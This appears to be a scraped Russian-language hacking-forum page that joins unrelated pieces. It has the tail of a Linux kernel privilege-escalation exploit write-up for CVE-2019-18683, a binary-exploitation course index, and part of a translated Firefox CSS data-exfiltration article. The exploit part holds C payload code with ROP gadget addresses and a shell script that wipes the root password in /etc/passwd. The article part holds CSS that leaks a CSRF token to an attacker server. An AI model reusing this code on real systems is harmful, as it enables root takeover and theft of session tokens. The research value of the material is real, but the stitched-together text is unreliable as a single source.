struct vivid_buffer *vbuf = (struct vivid_buffer *)xattr_addr;
struct vb2_queue *vq = NULL;
struct vb2_mem_ops *memops = NULL;
struct vb2_plane *vplane = NULL;
printf("Adapt payloads knowing that kstack is 0x%lx, kaslr_offset 0x%lx:\n",
kstack,
kaslr_offset);
/* point to future position of vb2_queue in timex payload on kernel stack */
vbuf->vb.vb2_buf.vb2_queue = (struct vb2_queue *)(kstack - TIMEX_STACK_OFFSET);
vq = (struct vb2_queue *)timex_addr;
printf(" vb2_queue of size %lu will be at %p, userspace %p\n",
sizeof(struct vb2_queue),
vbuf->vb.vb2_buf.vb2_queue,
vq);
/* just to survive vivid list operations */
vbuf->list.next = (struct list_head *)(kstack - TIMEX_STACK_OFFSET + LIST_OFFSET);
vbuf->list.prev = (struct list_head *)(kstack - TIMEX_STACK_OFFSET + LIST_OFFSET);
/*
* point to future position of vb2_mem_ops in timex payload on kernel stack;
* mem_ops offset is 0x38, be careful with OPS_OFFSET
*/
vq->mem_ops = (struct vb2_mem_ops *)(kstack - TIMEX_STACK_OFFSET + OPS_OFFSET);
printf(" mem_ops ptr will be at %p, userspace %p, value %p\n",
&(vbuf->vb.vb2_buf.vb2_queue->mem_ops),
&(vq->mem_ops),
vq->mem_ops);
memops = (struct vb2_mem_ops *)(timex_addr + OPS_OFFSET);
/* vaddr offset is 0x58, be careful with ROP_CHAIN_OFFSET */
memops->vaddr = (void *)ROP__PUSH_RDI__POP_RSP__pop_rbp__or_eax_edx__RET
+ kaslr_offset;
printf(" mem_ops struct of size %lu will be at %p, userspace %p, vaddr %p at %p\n",
sizeof(struct vb2_mem_ops),
vq->mem_ops,
memops,
memops->vaddr,
&(memops->vaddr));
На следующей схеме представлено, как части полезной нагрузки взаимосвязаны в адресном пространстве ядра после этой адаптации.
ROP 'n'JOP
В этом разделе описана ROP-цепочка (Return-Oriented Programming), которую я создал для повышения привилегий в специфических условиях контекста потока ядра.
Я нашел отличный ROP-гаджет, который переключает стек ядра на контролируемую область памяти (stack-pivoting gadget) и при этом хорошо подходит к прототипу функции void *(*vaddr)(void *buf_priv), где происходит перехват потока исполнения. В качестве аргумента buf_priv передается значение vb2_plane.mem_priv, над которым есть контроль. В ядре Linux для микроархитектуры x86_64 первый аргумент функции передается через регистр RDI. Таким образом связка инструкций push rdi; pop rsp переключает указатель стека на контролируемую область памяти, которая также находится в ядерном стеке, что обеспечивает обход аппаратных средств защиты SMAP и SMEP.
Ниже приведена сама ROP-цепочка для повышения привилегий в системе. Она получилась необычной, так как она должна быть исполнена из контекста ядерного потока:
Code:Copy to clipboard
#define ROP__PUSH_RDI__POP_RSP__pop_rbp__or_eax_edx__RET 0xffffffff814725f1
#define ROP__POP_R15__RET 0xffffffff81084ecf
#define ROP__POP_RDI__RET 0xffffffff8101ef05
#define ROP__JMP_R15 0xffffffff81c071be
#define ADDR_RUN_CMD 0xffffffff810b4ed0
#define ADDR_DO_TASK_DEAD 0xffffffff810bf260
unsigned long *rop = NULL;
char *cmd = "/bin/sh /home/a13x/pwn"; /* rewrites /etc/passwd dropping root pwd */
size_t cmdlen = strlen(cmd) + 1; /* for 0 byte */
/* mem_priv is the arg for vaddr() */
vplane = vbuf->vb.vb2_buf.planes;
vplane->mem_priv = (void *)(kstack - TIMEX_STACK_OFFSET + ROP_CHAIN_OFFSET);
rop = (unsigned long *)(timex_addr + ROP_CHAIN_OFFSET);
printf(" rop chain will be at %p, userspace %p\n", vplane->mem_priv, rop);
strncpy((char *)timex_addr + CMD_OFFSET, cmd, cmdlen);
printf(" cmd will be at %lx, userspace %p\n",
(kstack - TIMEX_STACK_OFFSET + CMD_OFFSET),
(char *)timex_addr + CMD_OFFSET);
/* stack will be trashed near rop chain, be careful with CMD_OFFSET */
*rop++ = 0x1337133713371337; /* placeholder for pop rbp in the pivoting gadget */
*rop++ = ROP__POP_R15__RET + kaslr_offset;
*rop++ = ADDR_RUN_CMD + kaslr_offset;
*rop++ = ROP__POP_RDI__RET + kaslr_offset;
*rop++ = (unsigned long)(kstack - TIMEX_STACK_OFFSET + CMD_OFFSET);
*rop++ = ROP__JMP_R15 + kaslr_offset;
*rop++ = ROP__POP_R15__RET + kaslr_offset;
*rop++ = ADDR_DO_TASK_DEAD + kaslr_offset;
*rop++ = ROP__JMP_R15 + kaslr_offset;
printf(" [+] the payload for kernel heap and stack is ready. Put it.\n");
Сначала данная ROP-цепочка загружает адрес ядерной функции run_cmd() из kernel/reboot.c в регистр R15. Затем в регистр RDI загружается адрес строки с shell-командой, которая будет выполнена с привилегиями суперпользователя. Через регистр RDI данный адрес будет передан функции run_cmd() в качестве аргумента. Затем в ROP-цепочке выполняется несколько JOP-операций (Jump- Oriented Programming). Выполняется прыжок на run_cmd(), которая выполняет команду '/bin/sh /home/a13x/pwn' от пользователя root. Запускаемый скрипт переписывает /etc/passwd, позволяя без пароля войти в систему как пользователь root:
Code:Copy to clipboard
#!/bin/sh
# drop root password
sed -i '1s/.*/root::0:0:root:\/root:\/bin\/bash/' /etc/passwd
В конце ROP-цепочка выполняет прыжок на ядерную функцию __noreturn do_task_dead() из kernel/exit.c. Это делается для восстановления состояния системы после эксплуатации уязвимости (некоторые называют это system fixating). В противном случае, если данный ядерный поток не остановить, он приведет к нежелательному падению ядра.
Возможные средства защиты
Для ядра Linux есть несколько средств защиты, которые могли бы помешать различным частям моего эксплойта.
1. Установка значения 0 для опции /proc/sys/vm/unprivileged_userfaultfd помешала бы используемому методу закрепления полезной нагрузки в памяти ядра. В этом случае для непривилегированных пользователей (без SYS_CAP_PTRACE) запрещается использование userfaultfd().
2. Установка значения 1 для sysctl kernel.dmesg_restrict могла бы предотвратить утечку информации через ядерный журнал. Данная опция ограничивает возможность непривилегированных пользователей использовать dmesg. Вместе с тем, даже при kernel.dmesg_restrict = 1 пользователи Ubuntu, состоящие в группе adm, все равно могут читать ядерный журнал через /var/log/syslog.
3. В патче grsecurity/PaX для ядра Linux есть интересная функция PAX_RANDKSTACK, которая заставила бы эксплойт угадывать расположение структуры vb2_queue:
Code:Copy to clipboard
+config PAX_RANDKSTACK
+ bool "Randomize kernel stack base"
+ default y if GRKERNSEC_CONFIG_AUTO && !(GRKERNSEC_CONFIG_VIRT_HOST && GRKERNSEC_CONFIG_VIRT_VIRTUALBOX)
+ depends on X86_TSC && X86
+ help
+ By saying Y here the kernel will randomize every task's kernel
+ stack on every system call. This will not only force an attacker
+ to guess it but also prevent him from making use of possible
+ leaked information about it.
+
+ Since the kernel stack is a rather scarce resource, randomization
+ may cause unexpected stack overflows, therefore you should very
+ carefully test your system. Note that once enabled in the kernel
+ configuration, this feature cannot be disabled on a per file basis.
+
4. Функция PAX_RAP из патча grsecurity/PaX для ядра Linux не дала бы успешно выполниться моей ROP/JOP-цепочке.
5. Надеюсь, однажды в будущем в ядре Linux появится поддержка аппаратной функции защиты ARM Memory Tagging Extension (MTE). Планируется, что это избавит ядро от целого класса уязвимостей «использование после освобождения» (use-after-free).
Вот ссылки на дополнительные материалы про grsecurity/PaX и [ARM MTE](https://community.arm.com/developer/ip-products/processors/b/processors- ip-blog/posts/enhancing-memory-safety).
Заключение
Исследование и исправление CVE-2019-18683, разработка прототипа эксплойта и написание данной статьи были для меня серьезной задачей. Надеюсь, вам понравилось.
Хотел бы поблагодарить [Positive Technologies](https://www.ptsecurity.com/ww- en/) для предоставленную возможность провести эту работу.
Автор: Александр Попов (с)
Введение
Лекция 2. Введение в обратную разработку программного
обеспечения
Лекция 2. Разбор домашнего задания. Простые
CrackMe
Лекция 3.1. Зачем нужен регистр EBP
(RBP)
Лекция 3.2. Anti-Debugging
Лекция 4.1. Эксплуатация переполнения буфера в стеке.
Теория
Лекция 4.2 Эксплуатация переполнения буфера в стеке Linux
x86
Лекция 4.3. Эксплуатация переполнения буфера в Linux
x86_64
Лекция 6. Эксплуатация уязвимостей форматной
строки
Лекция 7. Эксплуатация уязвимостей на переполнение буфера в
куче
Лекция 8. Эксплуатация уязвимостей
десереализации
Материалы к курсу
](https://github.com/outofhere/Binary_exploitation_course)
Contribute to outofhere/Binary_exploitation_course development by creating an account on GitHub.
github.com
Слайды: [Тык](http://2014.zeronights.org/assets/files/slides/the-past-the- present-and-the-future-of-software-exploitation-techniques.pptx)
Переведено by $talk3r special for XSS.is
[ориг статья](https://research.securitum.com/css-data-exfiltration-in-firefox-
via-single-injection-point/)
Несколько месяцев назад я обнаружил проблему безопасности в Firefox, известную как CVE-2019-17016. Во время анализа проблемы я разработал новую технику эксфильтрации данных CSS в Firefox через единую точку внедрения, о которой я расскажу в этой статье.
Основы и предшествующий уровень техники
В качестве примеров мы предполагаем, что мы хотим получить токен CSRF из
элемента <input>
.
<input type="hidden" name="csrftoken" value="SOME_VALUE">
Мы не можем использовать скрипты (возможно, из-за CSP), поэтому мы воспользуемся внедрением стиля. Классический способ - использовать селекторы атрибутов, например:
CSS:Copy to clipboard
input[name='csrftoken'][value^='a'] {
background: url(//ATTACKER-SERVER/leak/a);
}
input[name='csrftoken'][value^='b'] {
background: url(//ATTACKER-SERVER/leak/b);
}
...
input[name='csrftoken'][value^='z'] {
background: url(//ATTACKER-SERVER/leak/z);
}
Если применяется правило CSS, то злоумышленник получает HTTP-запрос с утечкой первого символа токена. Затем необходимо подготовить еще одну таблицу стилей, которая включает в себя первый известный символ, например:
CSS:Copy to clipboard
input[name='csrftoken'][value^='aa'] {
background: url(//ATTACKER-SERVER/leak/aa);
}
input[name='csrftoken'][value^='ab'] {
background: url(//ATTACKER-SERVER/leak/ab);
}
...
input[name='csrftoken'][value^='az'] {
background: url(//ATTACKER-SERVER/leak/az);
}
Обычно предполагалось, что последующие таблицы стилей должны быть
предоставлены путем перезагрузки страницы, которая загружена в <iframe>
.
В 2018 году у Pepe Villa была удивительная концепция, что мы можем добиться того же в Chrome с помощью единой точки внедрения, используя рекурсивный импорт CSS. Тот же трюк был вновь открыт в 2019 году Натаниалом Латтимером (aka @ d0nutptr), однако с [небольшим изменением](https://medium.com/@d0nut/better-exfiltration-via-html- injection-31c72a2dae8b). Ниже я кратко изложу подход Латтимера, потому что он ближе к тому, что я придумал в Firefox, хотя (что довольно забавно) я не знал об исследованиях Латтимера, когда проводил свое собственное. Так что можно сказать, что я открыл заново……
Короче говоря, первая инъекция - это связка импорта:
CSS:Copy to clipboard
@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...
**Идея заключается в следующем:
1** В начале только первый @import
возвращает таблицу стилей; другие просто
блокируют соединение
2 Первый @import
возвращает таблицу стилей, которая пропускает первый
символ токена
3 Когда утечка 1-го символа достигает ATTACKER-SERVER, 2-й импорт
прекращает блокировку и возвращает таблицу стилей, которая содержит 1-й символ
и пытается слить 2-й
4 Когда утечка 2-го символа достигает ATTACKER-SERVER, 3-й импорт
прекращает блокировку ... и так далее
Этот метод работает, потому что Chrome обрабатывает импорт асинхронно, поэтому, когда любой импорт прекращает блокировку, Chrome немедленно анализирует его и применяет его.
Firefox и обработка стилей таблиц
Метод из предыдущего абзаца вообще не работает в Firefox из-за существенных
различий в обработке таблиц стилей по сравнению с Chrome. Я объясню различия
на нескольких простых примерах.
Прежде всего, Firefox обрабатывает таблицы стилей синхронно. Поэтому при
наличии нескольких импортов в таблице стилей Firefox не будет применять какие-
либо правила CSS до тех пор, пока все операции импорта не будут обработаны.
Рассмотрим следующий пример:
CSS:Copy to clipboard
<style>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</style>
Предположим, что первый @import возвращает правило CSS, которое устанавливает синий цвет фона страницы, в то время как следующий импорт блокируется (то есть они никогда ничего не возвращают, обрывая HTTP-соединение). В Chrome страница сразу станет синей. В Firefox ничего не происходит.
Эту проблему можно обойти, поместив весь импорт в отдельные элементы